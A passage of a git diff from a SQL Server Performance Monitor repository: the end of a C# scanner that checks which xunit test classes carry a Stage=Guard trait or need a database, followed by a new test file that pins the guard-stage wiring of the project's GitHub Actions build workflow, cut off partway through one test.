+                s_testAttribute.IsMatch(ownCode),
+                attributes.Any(a => Squash(a).Contains(Squash(GuardTraitText), StringComparison.Ordinal)),
+                attributes.Any(a => Squash(a).Contains("Collection(\"live-postgres\")", StringComparison.Ordinal)),
+                EnumeratesRepoRootRecursively(ownCode, rootVariables, recursiveOptions),
+                readsVariable,
+                ownCode,
+                fileReadsLite,
+                attributes.Any(a => Squash(a).Contains(Squash(LiteTraitText), StringComparison.Ordinal)));
+        }
+    }
+
+    /// <summary>
+    /// Whether a source file reads a file under <c>Lite/</c> or <c>Lite.Tests/</c>: a string literal (not a comment)
+    /// naming a path segment <c>Lite</c> (alone, or beside a slash), <c>Lite.Tests</c> or a <c>PerformanceMonitorLite*</c>
+    /// project, or a recursive enumeration from the repo root, which reads every Lite file without naming one. The bare
+    /// literal <c>"Lite"</c> counts in any position: a label such as <c>("Lite", source)</c> also counts, which only ever
+    /// over-tags (the safe direction). A path assembled from a constant another file declares is not visible to a
+    /// source scan; the replay of the failure corpus and the nightly are the backstop for that.
+    /// </summary>
+    private static bool ReadsALitePath(string text, string code, HashSet<string> rootVariables, bool recursiveOptions)
+    {
+        foreach (var (_, body) in CSharpSourceWalker.StringLiteralBodies(text))
+        {
+            var normalized = body.Replace('\\', '/');
+            var segments = normalized.Split('/', StringSplitOptions.RemoveEmptyEntries);
+
+            if (segments.Any(seg => seg.StartsWith("PerformanceMonitorLite", StringComparison.Ordinal)
+                || seg.Equals("Lite.Tests", StringComparison.Ordinal)))
+            {
+                return true;
+            }
+
+            if (body.Equals("Lite", StringComparison.Ordinal)
+                || (normalized.Contains('/', StringComparison.Ordinal)
+                    && segments.Any(seg => seg.Equals("Lite", StringComparison.Ordinal))))
+            {
+                return true;
+            }
+        }
+
+        return EnumeratesRepoRootRecursively(code, rootVariables, recursiveOptions);
+    }
+
+    /// <summary>The same question over one source text, for the census's own detector tests.</summary>
+    internal static bool ReadsALitePath(string text)
+    {
+        var code = CSharpSourceWalker.StripCommentsAndStrings(text);
+        return ReadsALitePath(
+            text,
+            code,
+            RepoRootVariables(code),
+            Regex.IsMatch(code, @"RecurseSubdirectories\s*=\s*true", RegexOptions.CultureInvariant));
+    }
+
+    private static string Squash(string s) => s.Replace(" ", string.Empty, StringComparison.Ordinal);
+
+    /// <summary>The attribute lines directly above a declaration, up to the first line that is not one.</summary>
+    private static List<string> AttributeLinesAbove(string text, int declarationIndex)
+    {
+        var result = new List<string>();
+        var lines = text[..declarationIndex].Split('\n');
+
+        for (var i = lines.Length - 2; i >= 0; i--)
+        {
+            var line = lines[i].Trim();
+            if (!line.StartsWith('['))
+            {
+                break;
+            }
+
+            result.Add(line);
+        }
+
+        return result;
+    }
+
+    /// <summary>The names a file assigns from a repo-root call (a local or a field).</summary>
+    private static HashSet<string> RepoRootVariables(string code)
+    {
+        var names = new HashSet<string>(StringComparer.Ordinal);
+        foreach (Match m in Regex.Matches(code, @"\b(?<name>\w+)\s*(?:=>|=)\s*(?<rhs>[^;=]+);", RegexOptions.CultureInvariant))
+        {
+            if (s_repoRootExpression.IsMatch(m.Groups["rhs"].Value.Trim()))
+            {
+                names.Add(m.Groups["name"].Value);
+            }
+        }
+
+        return names;
+    }
+
+    /// <summary>Whether a call such as <c>Directory.EnumerateFiles(root, "*.cs", SearchOption.AllDirectories)</c>
+    /// starts at the repo root: the first argument is a repo-root call or a variable the file sets from one, and
+    /// the arguments say <c>AllDirectories</c> or pass an options value while the file sets
+    /// <c>RecurseSubdirectories = true</c>.</summary>
+    internal static bool EnumeratesRepoRootRecursively(string code, HashSet<string> rootVariables, bool recursiveOptions)
+    {
+        foreach (Match call in s_enumerationCall.Matches(code))
+        {
+            var args = CallArguments(code, call.Index + call.Length);
+            if (args.Count == 0)
+            {
+                continue;
+            }
+
+            var first = args[0].Trim();
+            var fromRoot = s_repoRootExpression.IsMatch(first) || rootVariables.Contains(first);
+            var recursive = args.Any(a => a.Contains("AllDirectories", StringComparison.Ordinal))
+                || (recursiveOptions && args.Count >= 3 && !args[^1].Contains("TopDirectoryOnly", StringComparison.Ordinal));
+
+            if (fromRoot && recursive)
+            {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /// <summary>The same question over one class's source text, for the census's own detector tests.</summary>
+    internal static bool EnumeratesRepoRootRecursively(string text)
+    {
+        var code = CSharpSourceWalker.StripCommentsAndStrings(text);
+        return EnumeratesRepoRootRecursively(
+            code,
+            RepoRootVariables(code),
+            Regex.IsMatch(code, @"RecurseSubdirectories\s*=\s*true", RegexOptions.CultureInvariant));
+    }
+
+    /// <summary>The scan of a single in-memory source text, for the census's own detector tests.</summary>
+    internal static IReadOnlyList<Row> ScanText(string text)
+    {
+        var decls = Declarations(text, "Synthetic.cs").Where(d => d.IsTest).ToList();
+        return decls
+            .Select(d => new Row(
+                d.Name, d.File, true, d.Tagged, d.LiveCollection, d.EnumeratesRepoRoot, d.ReadsTestVariable, false,
+                d.ReadsLite, d.TaggedLite))
+            .ToList();
+    }
+
+    private static List<string> CallArguments(string code, int start)
+    {
+        var args = new List<string>();
+        var depth = 0;
+        var from = start;
+
+        for (var i = start; i < code.Length; i++)
+        {
+            var c = code[i];
+            if (c is '(' or '[' or '{')
+            {
+                depth++;
+            }
+            else if (c is ')' or ']' or '}')
+            {
+                if (depth == 0)
+                {
+                    args.Add(code[from..i]);
+                    return args;
+                }
+
+                depth--;
+            }
+            else if (c == ',' && depth == 0)
+            {
+                args.Add(code[from..i]);
+                from = i + 1;
+            }
+        }
+
+        return new List<string>();
+    }
+
+    /// <summary>One class xunit would run in the guard job, as the loaded assembly says it is.</summary>
+    internal sealed record ReflectedClass(string Name, bool LiveCollection);
+
+    /// <summary>
+    /// The classes xunit selects for <c>-trait Stage=Guard</c>, read off the test assembly itself (M1 of #5471's
+    /// review): an exported, concrete (or static) class with at least one test method, static or instance, public or
+    /// not, where the trait sits on the assembly, the class (or a base class, which xunit inherits) or any of its test
+    /// methods. That is xunit v3's own discovery (L1 of the second review): <c>GetExportedTypes</c>, a class that is
+    /// not abstract or is sealed (a static class is both), and methods bound as Instance, Static, Public, NonPublic.
+    /// This is xunit's own idea of "tagged": it sees a method-level trait, a combined attribute list, a trait spelled with constants and a
+    /// linked file, which a source scan can miss, so a store-needing class cannot reach the guard job unseen.
+    /// </summary>
+    internal static IReadOnlyList<ReflectedClass> ReflectGuardClasses(Assembly assembly) =>
+        ReflectGuardClasses(
+            assembly.GetExportedTypes(),
+            HasGuardTrait(assembly.GetCustomAttributes()));
+
+    /// <summary>The same read over the given types, so a test can point it at probe classes xunit does not run.</summary>
+    internal static IReadOnlyList<ReflectedClass> ReflectGuardClasses(
+        IEnumerable<Type> types, bool assemblyTagged, Func<MethodInfo, bool>? isTest = null)
+    {
+        isTest ??= m => m.GetCustomAttributes(inherit: true).OfType<IFactAttribute>().Any();
+        var result = new List<ReflectedClass>();
+
+        foreach (var type in types.Where(t => t.IsClass && (!t.IsAbstract || t.IsSealed)))
+        {
+            var tests = type.GetMethods(
+                    BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.FlattenHierarchy)
+                .Where(isTest)
+                .ToList();
+            if (tests.Count == 0)
+            {
+                continue;
+            }
+
+            var tagged = assemblyTagged
+                || HasGuardTrait(type.GetCustomAttributes(inherit: true).Cast<Attribute>())
+                || tests.Any(m => HasGuardTrait(m.GetCustomAttributes(inherit: true).Cast<Attribute>()));
+            if (!tagged)
+            {
+                continue;
+            }
+
+            var live = type.GetCustomAttributes(inherit: true).OfType<CollectionAttribute>()
+                .Any(c => string.Equals(c.Name, "live-postgres", StringComparison.Ordinal));
+            result.Add(new ReflectedClass(type.Name, live));
+        }
+
+        return result;
+    }
+
+    private static bool HasGuardTrait(IEnumerable<Attribute> attributes) =>
+        attributes.OfType<ITraitAttribute>().Any(a => a.GetTraits().Any(
+            t => string.Equals(t.Key, "Stage", StringComparison.OrdinalIgnoreCase)
+              && string.Equals(t.Value, "Guard", StringComparison.OrdinalIgnoreCase)));
+
+    /// <summary>
+    /// Where the source scan and xunit disagree, and rule R3 over the reflected set (M1 of #5471's review). Both
+    /// directions fail: a class xunit tags that the scan does not (it could need a store unseen) and a class the
+    /// scan reads as tagged that xunit does not run in the guard job (the tag is not doing what the census thinks).
+    /// </summary>
+    internal static List<string> ReflectionProblems(IReadOnlyList<Row> rows, IReadOnlyList<ReflectedClass> reflected)
+    {
+        var problems = new List<string>();
+        var byName = rows.ToDictionary(r => r.Name, StringComparer.Ordinal);
+        var reflectedNames = new HashSet<string>(reflected.Select(r => r.Name), StringComparer.Ordinal);
+
+        foreach (var r in reflected.OrderBy(r => r.Name, StringComparer.Ordinal))
+        {
+            byName.TryGetValue(r.Name, out var row);
+
+            if (row is null)
+            {
+                problems.Add($"UNSCANNED {r.Name}: xunit runs it in the guard job but the source scan found no test class of that name "
+                  + "(a linked file the csproj does not list, or tests inherited from a base class)");
+            }
+            else if (!row.Tagged)
+            {
+                problems.Add($"UNTAGGED {row.File}: {r.Name} is selected by -trait Stage=Guard through a trait the source scan does not read "
+                  + "(a method-level trait, a combined attribute list, a constant, a base class); write it as the one attribute line above the class");
+            }
+
+            if (r.LiveCollection || (row is not null && row.NeedsAStore && !row.Tagged))
+            {
+                problems.Add($"STORE {r.Name} is selected by -trait Stage=Guard but needs a store ("
+                  + (r.LiveCollection ? "live-postgres collection" : row!.StoreReasons) + "); the guard job has no PostgreSQL");
+            }
+        }
+
+        foreach (var row in rows.Where(r => r.Tagged && !reflectedNames.Contains(r.Name)).OrderBy(r => r.Name, StringComparer.Ordinal))
+        {
+            problems.Add($"PHANTOM {row.File}: {row.Name} reads as tagged in source but xunit does not select it for -trait Stage=Guard "
+              + "(not public, abstract, or no test method)");
+        }
+
+        return problems;
+    }
+
+    /// <summary>
+    /// The files a project compiles in through an explicit <c>&lt;Compile Include=... Link=...&gt;</c> item, which a
+    /// scan of the project's own folder never sees (M1 of #5471's review). Wildcards are not links and are skipped.
+    /// </summary>
+    internal static IReadOnlyList<(string Path, string Link)> LinkedCompileFiles(string projectFile)
+    {
+        var projectDirectory = Path.GetDirectoryName(projectFile)
+            ?? throw new InvalidOperationException("The project file has no directory.");
+        var result = new List<(string, string)>();
+
+        foreach (var item in XDocument.Load(projectFile).Descendants().Where(e => e.Name.LocalName == "Compile"))
+        {
+            var include = (string?)item.Attribute("Include");
+            var link = (string?)item.Attribute("Link");
+            if (string.IsNullOrEmpty(include) || string.IsNullOrEmpty(link) || include.Contains('*', StringComparison.Ordinal))
+            {
+                continue;
+            }
+
+            result.Add((
+                System.IO.Path.GetFullPath(System.IO.Path.Combine(projectDirectory, include.Replace('\\', System.IO.Path.DirectorySeparatorChar))),
+                link.Replace('\\', '/')));
+        }
+
+        return result;
+    }
+
+    private static bool IsBuildOutput(string testsRoot, string file)
+    {
+        var relative = Path.GetRelativePath(testsRoot, file);
+        return relative.StartsWith("bin" + Path.DirectorySeparatorChar, StringComparison.Ordinal)
+            || relative.StartsWith("obj" + Path.DirectorySeparatorChar, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/GuardStageWorkflowTests.cs b/Darling/Darling.Tests/GuardStageWorkflowTests.cs
new file mode 100644
index 0000000000..4a15473ba7
--- /dev/null
+++ b/Darling/Darling.Tests/GuardStageWorkflowTests.cs
@@ -0,0 +1,513 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text.RegularExpressions;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// build.yml runs the Stage=Guard classes first and fails fast (#5459). These pins hold the wiring: the guard
+/// job runs both suites by trait, every job that waits on it says so, the shards start on a pull request only
+/// after it succeeded, and the two result jobs turn every skip that was not planned into a failure.
+///
+/// <para><b>What is pinned, and why each piece.</b> The guard job is not a required check, so the four required
+/// checks (<c>build</c>, <c>Darling PostgreSQL tests</c>, <c>Lite tests (result)</c> and the review guard, which
+/// lives in another workflow) are what show a guard failure. That only works while each of the first three lists
+/// the guard job in its <c>needs</c> and reads its result, so a rename of the job, or a result job that stops
+/// reading it, would let a skipped matrix read as green again. The exact <c>if:</c> of each shard job is pinned
+/// as the census of by-design skips: <c>darling-pg</c> and <c>darling-linux</c> are skipped only when the gate
+/// declined the run or the guards failed on a pull request, and <c>lite-tests</c> also on a release. A fourth
+/// reason would be an unplanned skip, and the result jobs' <c>skipped</c> arm is an error.</para>
+///
+/// <para><b>Docs-only pull requests</b> still report success on all four required checks: the guard job's
+/// filter is a copy of the build job's docs entries and every step after its decision is gated on it, so the
+/// job succeeds having built nothing; the shards' own path filters are untouched.</para>
+/// </summary>
+[Trait("Stage", "Guard")]
+[Trait("Reads", "Lite")]
+public sealed class GuardStageWorkflowTests
+{
+    private const string ShardIf =
+        "if: ${{ !cancelled() && needs.gate.outputs.run == 'true' && (needs.guard-tests.result == 'success' || github.event_name != 'pull_request') }}";
+
+    private const string LiteShardIf =
+        "if: ${{ !cancelled() && needs.gate.outputs.run == 'true' && github.event_name != 'release' && (needs.guard-tests.result == 'success' || github.event_name != 'pull_request') }}";
+
+    [Fact]
+    public void TheGuardJob_IsNamedOnceNotRequiredByName_AndRunsBothSuitesByTrait()
+    {
+        var job = JobBlock(Yaml(), "guard-tests");
+
+        Assert.Contains("\n    name: Guard tests\n", job, StringComparison.Ordinal);
+        Assert.Contains("\n    needs: gate\n", job, StringComparison.Ordinal);
+        Assert.Contains(
+            "\n    if: ${{ needs.gate.outputs.run == 'true' && github.event_name != 'release' }}\n",
+            job,
+            StringComparison.Ordinal);
+        Assert.Contains("\n    runs-on: windows-latest\n", job, StringComparison.Ordinal);
+        Assert.Contains("\n    timeout-minutes: 20\n", job, StringComparison.Ordinal);
+        Assert.Contains("\n      contents: read\n", job, StringComparison.Ordinal);
+
+        /* Both suites (the Lite project is matched without its folder: a Darling.Tests literal that names a Lite path
+           would have to be reachable by the Darling path filter), each listed by trait first (an empty list is a hard error) and then run by trait. */
+        Assert.Contains("Darling/Darling.Tests/Darling.Tests.csproj", job, StringComparison.Ordinal);
+        Assert.Contains("Lite.Tests.csproj", job, StringComparison.Ordinal);
+        Assert.Contains("-c Release --no-build -- -list classes/json -trait Stage=Guard", job, StringComparison.Ordinal);
+        Assert.Contains("-c Release --no-build -- -trait Stage=Guard", job, StringComparison.Ordinal);
+        Assert.Contains("no class carries Stage=Guard", job, StringComparison.Ordinal);
+        Assert.Contains("if ($failed.Count -gt 0) { throw", job, StringComparison.Ordinal);
+
+        /* Release builds of both projects, once, after a locked-mode restore of both, in bash with errexit. */
+        Assert.Single(Regex.Matches(job, @"dotnet build Darling/Darling\.Tests/Darling\.Tests\.csproj -c Release --no-restore"));
+        Assert.Single(Regex.Matches(job, @"dotnet build \S*Lite\.Tests\.csproj -c Release --no-restore"));
+        var restore = Step(job, "Restore both test projects");
+        Assert.Contains("shell: bash", restore, StringComparison.Ordinal);
+        Assert.Contains("set -euo pipefail", restore, StringComparison.Ordinal);
+        Assert.Contains("dotnet restore Darling/Darling.Tests/Darling.Tests.csproj --locked-mode", restore, StringComparison.Ordinal);
+        Assert.Matches(@"dotnet restore \S*Lite\.Tests\.csproj --locked-mode", restore);
+
+        /* No store, and nothing the Lite timing packer could read as a timing source. */
+        Assert.DoesNotContain("DARLING_TEST_", job, StringComparison.Ordinal);
+        Assert.DoesNotContain("pg-runtime", job, StringComparison.Ordinal);
+        Assert.DoesNotContain("lite-tests-timing", job, StringComparison.Ordinal);
+        /* The uploads are the two built test projects (#5459 change 2, pinned by TheGuardJobUploadsTheBuiltTestProjects_... below) and the two xunit reports the shadow check reads (#5459). */
+        Assert.Equal(4, Regex.Matches(job, "actions/upload-artifact@").Count);
+    }
+
+    /// <summary>
+    /// A skipped test exits 0, and the guard job has no PostgreSQL, so a tagged test that needs a store would skip
+    /// and the job would stay green (M1 of #5471's review). <c>-failSkips</c> turns that into a red job. The loop also
+    /// has to let both suites run when the first fails, which needs the native-command preference set outright (L1).
+    /// </summary>
+    [Fact]
+    public void TheGuardJobsRunStep_FailsOnASkip_AndLetsBothSuitesRunWhenOneFails()
+    {
+        var run = Step(JobBlock(Yaml(), "guard-tests"), "Run the Stage=Guard classes of both suites");
+
+        /* The one dotnet run of the tests (the class listing is a different command) carries the switch, once, in the loop. */
+        var runs = Regex.Matches(run, @"^\s*dotnet run --project \$suite\.Project -c Release --no-build -- -trait Stage=Guard.*$", RegexOptions.Multiline);
+        Assert.Single(runs);
+        /* A whole switch, not a prefix: -failSkips- is the spelling that turns failing skips back off (L2 of the second review). */
+        Assert.Matches(@"\s-failSkips(?:\s|$)", runs[0].Value);
+
+        /* An uncommented statement of its own: a commented-out line must not satisfy the pin (L2 of the second review). */
+        var preferenceLine = Regex.Match(run, @"^[ \t]*\$PSNativeCommandUseErrorActionPreference = \$false[ \t]*\r?$", RegexOptions.Multiline);
+        Assert.True(preferenceLine.Success, "the guard loop does not set $PSNativeCommandUseErrorActionPreference explicitly, on a line of its own that is not a comment");
+        var preference = preferenceLine.Index;
+        Assert.True(
+            preference > run.IndexOf("$ErrorActionPreference = 'Stop'", StringComparison.Ordinal)
+              && preference < run.IndexOf("foreach ($suite in $suites)", StringComparison.Ordinal),
+            "the native-command preference must be set after $ErrorActionPreference and before the loop");
+    }
+
+    /// <summary>
+    /// darling-tree-guards now skips on a pull request whose guards failed, so its header must not promise "always
+    /// reports a result" (L2 of #5471's review): a skip counts as passing, and the comment is what keeps the next
+    /// reader from making it a required check.
+    /// </summary>
+    [Fact]
+    public void TheTreeGuardsHeader_NoLongerPromisesAResultOnEveryEvent()
+    {
+        var yaml = Yaml();
+        var at = yaml.IndexOf("\n  darling-tree-guards:\n", StringComparison.Ordinal);
+        Assert.True(at >= 0);
+
+        var header = yaml[Math.Max(0, at - 700)..at];
+        Assert.DoesNotContain("always reports a result, so it can be a required check", header, StringComparison.Ordinal);
+        Assert.Contains("on a pull request whose Guard tests job did not", header, StringComparison.Ordinal);
+        Assert.Contains("is NOT a required check", header, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheGuardJobsFilter_IsACopyOfTheBuildJobsDocsAndAllEntries()
+    {
+        var yaml = Yaml();
+        var guard = JobBlock(yaml, "guard-tests");
+        var build = JobBlock(yaml, "build");
+
+        foreach (var name in new[] { "docs", "all" })
+        {
+            var original = FilterPatterns(build, name);
+            var copy = FilterPatterns(guard, name);
+
+            /* Anti-vacuity on both sides: two empty lists are equal, which is the green that would mean this
+               pin had stopped reading what it is named for. */
+            Assert.NotEmpty(original);
+            Assert.NotEmpty(copy);
+            Assert.Equal(original, copy);
+        }
+
+        /* The guard job's filter holds only those two entries. */
+        Assert.Equal(
+            new[] { "all", "docs" },
+            Regex.Matches(guard, "\n            ([a-z_]+):\n").Select(m => m.Groups[1].Value).OrderBy(n => n, StringComparer.Ordinal).ToArray());
+    }
+
+    /* #5614: a changelog splice rewrites exactly CHANGELOG.md, docs/changelog/<version>.md and
+       tools/changelog/archive-census.txt. The census is not markdown, so unless its exact path is on the docs
+       allowlist the splice paid the full Guard tests and whole-tree guards run (about 17 minutes) instead of the
+       docs fast path. The path is exact, never a bare *.txt glob: the MCP budget pins are .txt test inputs. */
+    [Fact]
+    public void AChangelogSplice_IsDocsOnly_InBothBuildYmlCopiesAndCiSelect()
+    {
+        var yaml = Yaml();
+        var splice = new[] { "CHANGELOG.md", "docs/changelog/3.10.md", "tools/changelog/archive-census.txt" };
+        const string census = "tools/changelog/archive-census.txt";
+
+        var lists = new Dictionary<string, List<string>>
+        {
+            ["build job"] = FilterPatterns(JobBlock(yaml, "build"), "docs"),
+            ["guard-tests job"] = FilterPatterns(JobBlock(yaml, "guard-tests"), "docs"),
+        };
+
+        /* ci-select.py's DOC_PATTERNS: the fallback when no live list is passed, which must not drift from build.yml. */
+        var script = RepoFile.ReadRepoFileLf(".github", "scripts", "ci-select.py");
+        var start = script.IndexOf("\nDOC_PATTERNS = (\n", StringComparison.Ordinal);
+        Assert.True(start >= 0, "ci-select.py has no DOC_PATTERNS tuple");
+        var tuple = script[start..];
+        tuple = tuple[..tuple.IndexOf("\n)\n", StringComparison.Ordinal)];
+        lists["ci-select.py DOC_PATTERNS"] = Regex.Matches(tuple, @"^\s*""([^""]+)"",\s*$", RegexOptions.Multiline)
+            .Select(m => m.Groups[1].Value)
+            .ToList();
+
+        var buildList = lists["build job"];
+        foreach (var (name, patterns) in lists)
+        {
+            Assert.NotEmpty(patterns);
+            Assert.Equal(buildList, patterns);
+
+            /* The two markdown files ride on the markdown glob; the census needs its own exact entry. */
+            Assert.Contains("**/*.md", patterns);
+            Assert.Contains(census, patterns);
+            Assert.DoesNotContain("**/*.txt", patterns);
+            Assert.DoesNotContain("tools/**", patterns);
+
+            foreach (var path in splice)
+            {
+                Assert.True(
+                    patterns.Contains(path, StringComparer.Ordinal)
+                    || (path.EndsWith(".md", StringComparison.Ordinal) && patterns.Contains("**/*.md", StringComparer.Ordinal)),
+                    $"{name}: a changelog splice file is not documentation, so the splice runs the full path: {path}");
+            }
+        }
+    }
+
+    [Fact]
+    public void ADocsOnlyChange_LeavesTheGuardJobGreenHavingBuiltNothing()
+    {
+        var job = JobBlock(Yaml(), "guard-tests");
+        var steps = job[job.IndexOf("    steps:\n", StringComparison.Ordinal)..]
+            .Split("\n      - ", StringSplitOptions.None)
+            .Skip(1)
+            .ToList();
+
+        var decide = steps.FindIndex(s => s.StartsWith("name: Decide whether the guard classes run", StringComparison.Ordinal));
+        Assert.True(decide > 0, "the guard job's decision step was renamed");
+
+        Assert.Contains("[ \"${ALL_COUNT:-0}\" -eq \"${DOCS_COUNT:-0}\" ]", steps[decide], StringComparison.Ordinal);
+        Assert.Contains("echo \"run=false\" >> \"$GITHUB_OUTPUT\"", steps[decide], StringComparison.Ordinal);
+
+        var after = steps.Skip(decide + 1).ToList();
+        Assert.NotEmpty(after);
+        foreach (var step in after)
+        {
+            Assert.True(
+                step.Contains("if: steps.decide.outputs.run == 'true'", StringComparison.Ordinal),
+                "A guard-job step after the decision does not wait for it, so a docs-only change would build and run "
+              + "for nothing (or fail): " + step.Split('\n')[0]);
+        }
+    }
+
+    [Fact]
+    public void EveryJobThatTheGuardJobGates_ListsItInNeeds()
+    {
+        var yaml = Yaml();
+
+        foreach (var key in new[]
+                 {
+                     "build", "darling-pg", "darling-linux", "lite-tests", "darling-pg-result", "lite-tests-result",
+                     "darling-tree-guards",
+                 })
+        {
+            var job = JobBlock(yaml, key);
+            var needs = Regex.Match(job, @"\n    needs: \[(?<list>[^\]]*)\]\n");
+            Assert.True(needs.Success, $"{key} has no `needs: [..]` list");
+            Assert.Contains(
+                "guard-tests",
+                needs.Groups["list"].Value.Split(',').Select(n => n.Trim()),
+                StringComparer.Ordinal);
+        }
+
+        /* The result jobs keep the pinned `needs: [gate, ` prefix and add the guard before the matrix. */
+        Assert.Contains("\n    needs: [gate, guard-tests, darling-pg]\n", JobBlock(yaml, "darling-pg-result"), StringComparison.Ordinal);
+        Assert.Contains("\n    needs: [gate, guard-tests, lite-tests]\n", JobBlock(yaml, "lite-tests-result"), StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The census of by-design skips. A shard job is skipped only when the gate declined the run, when the
+    /// guard job did not succeed on a pull request, and (the Lite shards) on a release. Pinned as the whole
+    /// condition so a new skip cause is a deliberate edit of this test, with the result job's reaction to it.
+    /// </summary>
+    [Fact]
+    public void TheShardJobs_AreSkippedOnlyForThePlannedReasons()
+    {
+        var yaml = Yaml();
+
+        Assert.Contains("\n    " + ShardIf + "\n", JobBlock(yaml, "darling-pg"), StringComparison.Ordinal);
+        Assert.Contains("\n    " + ShardIf + "\n", JobBlock(yaml, "darling-linux"), StringComparison.Ordinal);
+        Assert.Contains("\n    " + LiteShardIf + "\n", JobBlock(yaml, "lite-tests"), StringComparison.Ordinal);
+
+        /* The darling-tree-guards job, not a shard, takes the same fail-fast so it does not start a runner. */
+        Assert.Contains("\n    " + ShardIf + "\n", JobBlock(yaml, "darling-tree-guards"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheResultJobs_FailOnAGuardFailure_AndOnAnUnplannedSkip_AndKeepTheDeclinedArm()
+    {
+        var yaml = Yaml();
+
+        foreach (var key in new[] { "darling-pg-result", "lite-tests-result" })
+        {
+            var job = JobBlock(yaml, key);
+            Assert.Contains("GUARD_RESULT: ${{ needs.guard-tests.result }}", job, StringComparison.Ordinal);
+
+            var gateArm = job.IndexOf("if [ \"${GATE_RESULT}\" != \"success\" ]", StringComparison.Ordinal);
+            var declinedArm = job.IndexOf("[ \"${GATE_RUN}\" != \"true\" ]", StringComparison.Ordinal);
+            var guardArm = job.IndexOf("if [ \"${GUARD_RESULT}\" != \"success\" ]", StringComparison.Ordinal);
+            var cases = job.IndexOf("case \"${RESULT}\" in", StringComparison.Ordinal);
+
+            Assert.True(gateArm > 0 && declinedArm > gateArm && guardArm > declinedArm && cases > guardArm,
+                $"{key}: the arms must read gate-failed, declined, guards-failed, then the matrix result");
+
+            var arm = job[guardArm..cases];
+            Assert.Contains("[ \"${EVENT_NAME}\" = \"release\" ] && [ \"${GUARD_RESULT}\" = \"skipped\" ]", arm, StringComparison.Ordinal);
+            Assert.Contains("::error title=Guard tests failed::", arm, StringComparison.Ordinal);
+            Assert.Contains("exit 1", arm, StringComparison.Ordinal);
+
+            /* The skipped matrix arm is an error: it used to exit 0, which read a skipped job as a pass. */
+            var skipped = job[job.IndexOf("            skipped)", StringComparison.Ordinal)..];
+            skipped = skipped[..skipped.IndexOf(";;", StringComparison.Ordinal)];
+            Assert.Contains("::error", skipped, StringComparison.Ordinal);
+            Assert.Contains("exit 1", skipped, StringComparison.Ordinal);
+            Assert.DoesNotContain("::notice", skipped, StringComparison.Ordinal);
+            Assert.DoesNotContain("exit 0", job, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void TheBuildJob_FailsItsSecondStepWhenTheGuardsFailedOnAPullRequest()
+    {
+        var build = JobBlock(Yaml(), "build");
+
+        Assert.Contains("\n    if: ${{ !cancelled() }}\n", build, StringComparison.Ordinal);
+        Assert.Contains(
+            "needs.gate.outputs.run == 'true' && (github.event_name != 'pull_request' || needs.guard-tests.result == 'success') && 'windows-latest' || 'ubuntu-latest'",
+            build,
+            StringComparison.Ordinal);
+
+        var steps = build[build.IndexOf("    steps:\n", StringComparison.Ordinal)..]
+            .Split("\n      - ", StringSplitOptions.None)
+            .Skip(1)
+            .Take(3)
+            .ToList();
+
+        Assert.StartsWith("name: Fail when CI did not run", steps[0], StringComparison.Ordinal);
+        Assert.StartsWith("name: Fail when the guard tests failed", steps[1], StringComparison.Ordinal);
+        Assert.StartsWith("uses: actions/checkout@v7", steps[2], StringComparison.Ordinal);
+
+        Assert.Contains(
+            "if: ${{ github.event_name == 'pull_request' && needs.gate.outputs.run == 'true' && needs.guard-tests.result != 'success' }}",
+            steps[1],
+            StringComparison.Ordinal);
+        Assert.Contains("::error title=Guard tests failed::The Guard tests job", steps[1], StringComparison.Ordinal);
+        Assert.Contains("exit 1", steps[1], StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #5459 change 2: the Guard job uploads each built test project right after its build and BEFORE it runs a test (a
+    /// guard failure still leaves the artifacts), with the producer's workspace and sha beside them, and publishes the
+    /// artifact names as job outputs only when the upload succeeded. A reorder that put the tests first would lose the
+    /// artifacts exactly when a guard fails on a push, where the shards still run.
+    /// </summary>
+    [Fact]
+    public void TheGuardJobUploadsTheBuiltTestProjects_BeforeAnyTestRuns_WithTheWorkspaceAndShaBesideThem()
+    {
+        var job = JobBlock(Yaml(), "guard-tests");
+
+        var build = job.IndexOf("- name: Build both test projects\n", StringComparison.Ordinal);
+        var origin = job.IndexOf("- name: Record where this build was made\n", StringComparison.Ordinal);
+        var uploadDarling = job.IndexOf("- name: Upload the built Darling.Tests for the shards\n", StringComparison.Ordinal);
+        var uploadLite = job.IndexOf("- name: Upload the built Lite.Tests for the shards\n", StringComparison.Ordinal);
+        var run = job.IndexOf("- name: Run the Stage=Guard classes of both suites\n", StringComparison.Ordinal);
+        Assert.True(build > 0 && build < origin && origin < uploadDarling && uploadDarling < uploadLite && uploadLite < run,
+            "the Guard job must build, record the origin, upload both test projects, and only then run the guard classes");
+
+        var recorded = Step(job, "Record where this build was made");
+        Assert.Contains("workspace=$env:PRODUCER_WORKSPACE", recorded, StringComparison.Ordinal);
+        Assert.Contains("sha=$env:PRODUCER_SHA", recorded, StringComparison.Ordinal);
+        Assert.Contains("PRODUCER_WORKSPACE: ${{ github.workspace }}", recorded, StringComparison.Ordinal);
+        Assert.Contains("PRODUCER_SHA: ${{ github.sha }}", recorded, StringComparison.Ordinal);
+
+        foreach (var (stepName, name, project, output, id) in new[]
+        {
+            ("Upload the built Darling.Tests for the shards", "guard-test-build-darling", "Darling/Darling.Tests", "darling_build_artifact", "upload-darling-build"),
+            ("Upload the built Lite.Tests for the shards", "guard-test-build-lite", "Lite.Tests", "lite_build_artifact", "upload-lite-build"),
+        })
+        {
+            var upload = Step(job, stepName);
+            Assert.Contains("id: " + id, upload, StringComparison.Ordinal);
+            Assert.Contains("if: steps.decide.outputs.run == 'true'", upload, StringComparison.Ordinal);
+            Assert.Contains("uses: actions/upload-artifact@v6", upload, StringComparison.Ordinal);
+            Assert.Contains("name: " + name + "\n", upload, StringComparison.Ordinal);
+            Assert.Contains("guard-build-origin.txt", upload, StringComparison.Ordinal);
+            Assert.Contains(project + "/bin/Release", upload, StringComparison.Ordinal);
